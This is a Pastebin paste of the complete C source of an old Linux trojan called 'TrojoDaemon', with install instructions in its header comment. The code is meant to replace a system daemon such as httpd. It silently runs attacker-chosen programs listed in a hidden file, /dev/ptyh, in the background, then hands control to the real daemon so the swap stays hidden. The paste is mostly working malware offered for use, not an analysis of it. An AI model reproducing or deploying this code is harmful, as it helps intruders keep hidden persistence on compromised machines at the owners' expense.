FlyFar

Trojan.Linux.TrojoDaemon - Source Code

May 15th, 2024
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.25 KB | Cybersecurity | 0 0
  1. /*   ......:::: daemon trojo by DeV^AwaY ::::......
  2.  *
  3.  *
  4.  * [*] --> coded by: DeV^AwaY
  5.  * [*] ------------> devilnet@freemail.it
  6.  * [*] ------------> ircnet/efnet@DeV^AwaY
  7.  * [*] --> V3rsion: 0.2
  8.  *
  9.  * install:
  10.  * To install this trojan you should copy the real daemon in another
  11.  * directory !WITH THE SOME NAME!. Then you should compile this source on the
  12.  * real daemon file in its some directory.
  13.  * So write in /dev/ptyh all path/commands to execute with
  14.  * daemon. If you must use options with commands you must divide they
  15.  * with the $ character.
  16.  * Ex:
  17.  *
  18.  * cat /dev/ptyh
  19.  * /home/hacker/. /psybnc               <-- without options
  20.  * /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options
  21.  * /home/hacker/.   $                   <-- to run the file ".   "
  22.  *
  23.  * Default
  24.  * trojo daemon /usr/sbin/httpd
  25.  * real deamon /usr/bin/httpd               #EXE_PATH
  26.  *
  27.  */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31.  
  32. #define TRJ_PATH        "/dev/ptyh"
  33. #define EXE_PATH        "/usr/bin/httpd"
  34.  
  35. main (int argc,char **argv,char **envp) {
  36.  
  37. char fstr[200],**addr=malloc(200),slas[500],slaw[500];
  38. int i,ic=1,deic,sllen;
  39. FILE *ofile;
  40.    
  41.     if (fork() == 0) {
  42.         if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0);
  43.    
  44.         while (!feof(ofile)) {
  45.             fgets(fstr, 200, ofile);
  46.             for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0';
  47.             addr[ic]=malloc(200);
  48.             strcpy(addr[ic],fstr);
  49.             ic++;
  50.         }
  51.    
  52.         deic=ic-2; ic=0;
  53.    
  54.         while (ic!=deic) {
  55.             ic++;
  56.             i=0;
  57.             memset(slaw, 0, 500);
  58.             strcpy(slas,addr[ic]); 
  59.             sllen=strlen(slas);
  60.    
  61.             while (i!=sllen) {
  62.                if (slas[i]=='$') {
  63.                 (slas[i]='"');
  64.                 goto out; }
  65.                else i++;
  66.             }
  67.        
  68.             out:
  69.             if (sllen==i) strcat(slas,"\"");
  70.             strncpy(slaw,slas,i);
  71.             if ((ofile=fopen(slaw,"r"))==NULL) exit(0);
  72.             strcpy(addr[ic],slas);
  73.             strcpy(addr[ic],"cd \"");
  74.  
  75.             while (sllen!=0) {
  76.                if (slas[sllen]=='/') goto out2;
  77.                else sllen--;
  78.             }
  79.             out2:
  80.             strncat(addr[ic],slas,sllen);
  81.             strcat(addr[ic],"\" && \".");
  82.             strcat(addr[ic],slas+sllen);
  83.             strcat(addr[ic]," 1>/dev/null 2>/dev/null &"); 
  84.             system(addr[ic]);
  85.             }
  86.         exit(0);
  87.     }
  88.  
  89.     if ((ofile=fopen(EXE_PATH,"r"))==NULL) {
  90.         printf("bash: %s: No such file or directory\n",EXE_PATH);
  91.         exit(0);
  92.     }
  93.  
  94.     execve(EXE_PATH, argv, envp);
  95.  
  96. }
Add Comment
Please, Sign In to add comment